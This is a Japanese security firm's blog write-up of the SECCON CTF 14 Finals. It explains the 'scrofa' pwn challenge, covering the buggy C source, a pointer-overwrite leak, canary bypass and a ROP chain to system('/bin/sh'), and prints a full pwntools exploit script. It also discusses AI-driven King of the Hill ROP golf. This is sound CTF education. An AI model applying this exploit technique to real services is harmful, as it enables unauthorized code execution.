NTT Security Japan

お問い合わせ

SECCON CTF 14 Finals参加記

テクニカルブログ

SECCON CTF 14 Finals参加記

はじめに

プロフェッショナルサービス部の鈴木です。今回はTeam Enuとして、2026年2月28日から3月1日に開催されたSECCONの国内決勝に参加してきたので、決勝大会で出題された問題の紹介をしたいと思います。

pwn問題の解説 (scrofa, 4/9 solves)

概要

Cで書かれたシンプルなプログラムで、起動すると以下に示したようなプロンプトが表示されます。入力した内容をランダムなファイル名に保存するという機能になっていました。

(・(oo)・) Scrofa Note
 U    U
1. Write content
2. Read content
3. Save note
Savedata ID: FYVZCYUIQNPJWWUC
> 

ソースコードも与えられており、switch文のcase 1の近くのscanfにバッファオーバーフローのバグがあります。

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/random.h>

#define SAVE_PREFIX      ("/tmp/save-")
#define SAVE_PREFIX_LEN  (strlen(SAVE_PREFIX))
#define SAVE_ID_LEN      16
#define NOTE_SIZE        0x1000
#define __STR(x) #x
#define STR(x)   __STR(x)

typedef struct {
  char *path;
  size_t size;
} save_t;

void note_main(save_t *save) {
  int choice;
  char note[NOTE_SIZE];

  memset(note, 0, NOTE_SIZE);
  printf("(・(oo)・) Scrofa Note\n"
         " U    U\n"
         "1. Write content\n"
         "2. Read content\n"
         "3. Save note\n"
         "Savedata ID: %s\n", save->path + SAVE_PREFIX_LEN);

  while (1) {
    printf("> ");
    if (scanf("%d%*c", &choice) != 1) {
      perror("I/O Error");
      break;
    }

    switch (choice) {
      case 1:
        printf("New content: ");
        scanf("%[^\n]%*c", note); // BUG
        save->size = strlen(note);
        break;

      case 2:
        printf("Content: %s\n", note);
        break;

      case 3: {
        FILE *fp = fopen(save->path, "w");
        if (!fp) {
          perror(save->path);
          break;
        }
        fwrite(note, sizeof(char), save->size, fp);
        fclose(fp);
        puts("Backup done");
        break;
      }

      default: return;
    }
  }
}

int main() {
  char tempname[SAVE_PREFIX_LEN + SAVE_ID_LEN + 1];
  strcpy(tempname, SAVE_PREFIX);
  for (size_t i = 0; i < SAVE_ID_LEN; i++)
    tempname[SAVE_PREFIX_LEN + i] = 'A' + (rand() % 26);
  tempname[SAVE_PREFIX_LEN + SAVE_ID_LEN] = '\0';

  save_t save = { .path = tempname, .size = 0 };
  note_main(&save);
  return 0;
}

__attribute__((constructor))
void setup() {
  int seed;
  setbuf(stdin, NULL);
  setbuf(stdout, NULL);
  setbuf(stderr, NULL);
  if (getrandom(&seed, sizeof(seed), 0) != sizeof(seed)) {
    perror("getrandom");
    exit(1);
  }
  srand(seed);
}

防御機構をチェックすると、stack canaryが有効に設定されており、単純なリターンアドレスの書き換えはできません。また、PIE有効でコンパイルされているため、アドレスのリークも必要になります。

$ checksec --file=scrofa
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      Symbols         FORTIFY Fortified        Fortifiable     FILE
Full RELRO      Canary found      NX enabled    PIE enabled     No RPATH   No RUNPATH   55 Symbols        No    02               scrofa

方針

最初はあまり使わなれないようなニッチな機能が鍵になるのではと思い、 /proc 以下のファイルへの書き込みや環境変数の書き換えなどを検討しましたが、うまく行かずしばらく詰まっていました。

ここでしばらく悩んでいましたが、チームメイトが perror(save->path); の部分を使ってリークできるのではということを発見してくれました。

スタック上での変数の位置関係を図示すると下図のようになります。

バッファオーバーフローを使ってsave.pathを部分的に書き換え、下図のようにsave.pathがcanaryやreturn addressを指すことを目指します。

実際のメモリ上のデータだと、下図のハイライトしている部分がsave.pathの書き換え部分です。

このやり方には一つ問題があり、スタックアドレスのランダム化の影響を受けます。スタックアドレスは下位4bit以外がランダム化の影響を受けるため、下位2バイト分を書き換えて0x00XYにすると、00Xの部分がランダムアドレスと偶然同じになったときだけ攻撃が成功します。成功率は4096分の1ですが、昨今のCTFであればぎりぎりブルートフォースで試して良い水準かなと思います。

全体的な方針をまとめると以下のようになります。

  1. サーバに接続する
  2. ポインタの部分的な書き換えを行う
  3. return addressのリークを試し、失敗したら1からやり直す
  4. ポインタを部分的に書き換えて、canaryをリークする
  5. note_mainのcanaryを復元しつつ、ROPチェーンを書き込む
  6. note_mainからリターンし、ROPチェーンを実行する

エクスプロイト

完成したエクスプロイトは以下のようになります。

#!/usr/bin/env python3


from pwn import *
from subprocess import Popen, PIPE
from time import sleep
import sys
import argparse


binary_file = './scrofa'
libc_file   = './libc.so.6'
binary = ELF(binary_file)
libc   = ELF(libc_file)
context.arch = 'amd64'
context.os   = 'linux'


def u64x(data):
    return u64(data.ljust(8, b'\0'))


def main():
    io = remote('localhost', 5000)

    buf_to_path_ptr = 0x1060
    buf_to_environ = 0x11c8
    buf_to_return_addr = 0x1018
    buf_to_canary = 0x1008

    io.sendlineafter(b'> ', b'1')
    io.sendline(b'A' * buf_to_path_ptr + p8(0xf8))
    io.sendlineafter(b'> ', b'3')
    data = io.recvuntil(b'\n')
    if b':' not in data[:9]:
        io.close()
        return
    libc_leak = u64x(data[:data.index(b':')])
    print(f'libc_leak = {hex(libc_leak)}')

    libc_base = libc_leak - 0x2a1ca
    print(f'libc_base = {hex(libc_base)}')
    if libc_base % 0x1000 != 0:
        io.close()
        return

    io.sendlineafter(b'> ', b'1')
    io.sendline(b'A' * buf_to_path_ptr + p8(0xf8-0x20+1))
    io.sendlineafter(b'> ', b'3')
    data = io.recvuntil(b'\n')
    if b':' not in data:
        io.close()
        return
    canary = u64x(data[:7])
    canary = canary * 0x100
    print(f'canary = {hex(canary)}')

    rop_pop_rdi = libc_base + 0x10f78b
    binsh = libc_base + 0x1cb42f
    libc_system = libc_base + 0x0000000000058750

    payload = b'A' * buf_to_canary
    payload += p64(canary)
    payload = payload.ljust(buf_to_return_addr, b'A')
    payload += p64(rop_pop_rdi)
    payload += p64(binsh)
    payload += p64(rop_pop_rdi+1)
    payload += p64(libc_system)
    io.sendlineafter(b'> ', b'1')
    io.sendline(payload)
    io.sendlineafter(b'> ', b'4')

    io.sendline(b'cat flag-*.txt')
    with open('result.txt', 'wb') as f:
        f.write(io.recvuntil(b'\n'))
    io.interactive()


if __name__ == '__main__':
    for i in range(10000):
        main()
        sleep(0.2)

ローカルのDockerで実行すると以下のようになります。

実際の競技中は数十分スクリプトを回していましたがなかなかヒットせず、チームメイトが隣で同じスクリプトを回し始めたら数秒でヒットさせていました。

↓フラグを取ると会場のスクリーンでkurenaifさんがサムズアップしてくれます。

そんな感じでチームメイトの発想と強運のおかげでこの問題を解くことができました。

その他の問題について

今年のSECCON決勝は1日目と2日目で問題が完全に別れており、1日目はJeopardy、2日目はKing of the Hill形式で出題されました。

1日目は解説した問題のほかに、COBOL言語で書かれたpwn問題を見ていましたが、こちらは時間内に解くことができませんでした。国際部門のスコアボードを見ると、COBOLの問題は解説した問題の次に多く解かれたpwn問題だったので、COBOLの問題も解きたかったところです。

2日目のKing of the Hillでは、pwn、reversing、crypto、webジャンルで1題ずつ出題されました。こちらはAIが猛威を奮っており、ほぼすべてのチームがすべての問題に対してAIを中心に問題を解いていました。私が競技中に見ていた問題を簡単に紹介しようと思います。

King of the Hillのpwn問題

与えられたROPガジェットを組み合わせて以下のような処理をできるだけ短いROPチェーンで実現するという問題でした。

*(uint32_t*)0x50001337 = 0xdeadbeef;
syscall(60, *(uint32_t*)0x50001234);
memcpy((void*)0x5000f000, (void*)0x50001000, 0x40);
const char *argv[] = {"/bin/sh", "-c", "/readflag", NULL};
syscall(59, argv[0], argv, NULL);

与えられたROPガジェットは70個ほどあり、抜粋すると以下のようになっていました。

0x00401000  sub eax, r10d; ret; 
0x00401010  inc bl; mov bh, al; movsq qword ptr [rdi], qword ptr [rsi]; call qword ptr [rdx - 0xfe8]; mov rdi, qword ptr [rbp - 0x40]; mov rcx, qword ptr [rdi]; jmp rsi;
0x00401030  inc dword ptr [rcx - 0x77]; ret 8;  
0x00401040  mov rdi, qword ptr [rsi + 0x128]; add rsp, 0xe8; ret;   
0x00401060  mov rdi, rax; jmp rsi;  
0x00401070  jmp qword ptr [rsi + 0x2e]; 
0x00401080  in eax, 0xff; dec dword ptr [rax - 0x77]; ret;  
0x00401090  add eax, 0x1c937; ret;  
0x004010a0  or al, 1; add dword ptr [rax - 0x7d], ecx; rol byte ptr [rcx], 0x89; ret 0x8348;    
0x004010c0  mov qword ptr [rdx], rbp; pop rcx; add rsp, 0x48; ret;  
0x004010e0  mov bh, al; mov rdi, qword ptr [rsi - 0x1f08]; add rsp, 0x38; call rdx;

総じて課題はシンプルでしたが、与えられたROPガジェットは使いにくいという構成になっていました。
また、30分おきに追加のROPガジェットをオークションで購入できるようになっており、判断や駆け引きが生まれるようになっていました。

↓明らかに有用なガジェットが売られている回

開始5分で最初の採点が始まってしまうため、ルールやROPガジェットを読み解いている時間はなく、AIに解かせる前提で作られた問題だったと思われます。ROPチェーンの改善についても、チームメイトがAIを使って次々と短い解法を発見していて、明らかに人間よりもAIのほうが優れていました。

オークションで取るガジェットについては、私が適当に判断していましたが、手持ちのガジェットや現在の解法でネックになっている部分を正確には把握できていなかったので、ここもAIに任せたほうが良かったかもしれません。

おわりに

今回はSECCON決勝で出題された問題の紹介をしました。個人的には1日目は従来のCTFとそんなに変わりませんでしたが、2日目のKing of the Hillでは完全にAI前提で、AIの活用法が問われるような競技になっていたと思います。
AIはどんどん賢くなっていて、自分が競技に参加した中で、ジャンルや出題形式によってはもう人間が敵わなくなってきていることを強く実感しました。これからさらにAIが進歩していくことを考えると、CTFのあり方自体が大きく変わっていくだろうと思います。

関連記事 / おすすめ記事

Inquiry

お問い合わせ

お客様の業務課題に応じて、さまざまなソリューションの中から最適な組み合わせで、ご提案します。
お困りのことがございましたらお気軽にお問い合わせください。